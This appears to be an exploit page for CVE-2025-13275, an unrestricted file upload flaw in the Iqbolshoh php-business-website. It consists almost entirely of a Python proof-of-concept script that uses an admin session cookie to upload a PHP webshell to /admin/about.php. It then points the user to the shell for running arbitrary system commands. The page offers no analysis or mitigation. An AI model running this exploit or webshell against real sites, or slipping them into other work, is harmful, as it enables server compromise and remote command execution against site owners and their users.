CVE-2025-13275 Iqbolshoh php-business-website 任意文件上传漏洞

import requests import sys # CVE-2025-13275 PoC - Unrestricted File Upload in /admin/about.php # Target: Iqbolshoh php-business-website def upload_shell(target_url, admin_cookie): """ Upload malicious PHP shell to target server """ upload_url = f"{target_url.rstrip('/')}/admin/about.php" # PHP webshell payload webshell = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'file': ('shell.php', webshell, 'application/x-php') } headers = { 'Cookie': admin_cookie, 'X-Requested-With': 'XMLHttpRequest' } try: response = requests.post(upload_url, files=files, headers=headers, timeout=10) print(f"[+] Upload response: {response.status_code}") # Check if upload was successful if response.status_code == 200: print("[+] Shell uploaded successfully!") print(f"[+] Access shell at: {target_url}/uploads/shell.php?cmd=whoami") return True else: print("[-] Upload failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'PHPSESSID=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] upload_shell(target, cookie)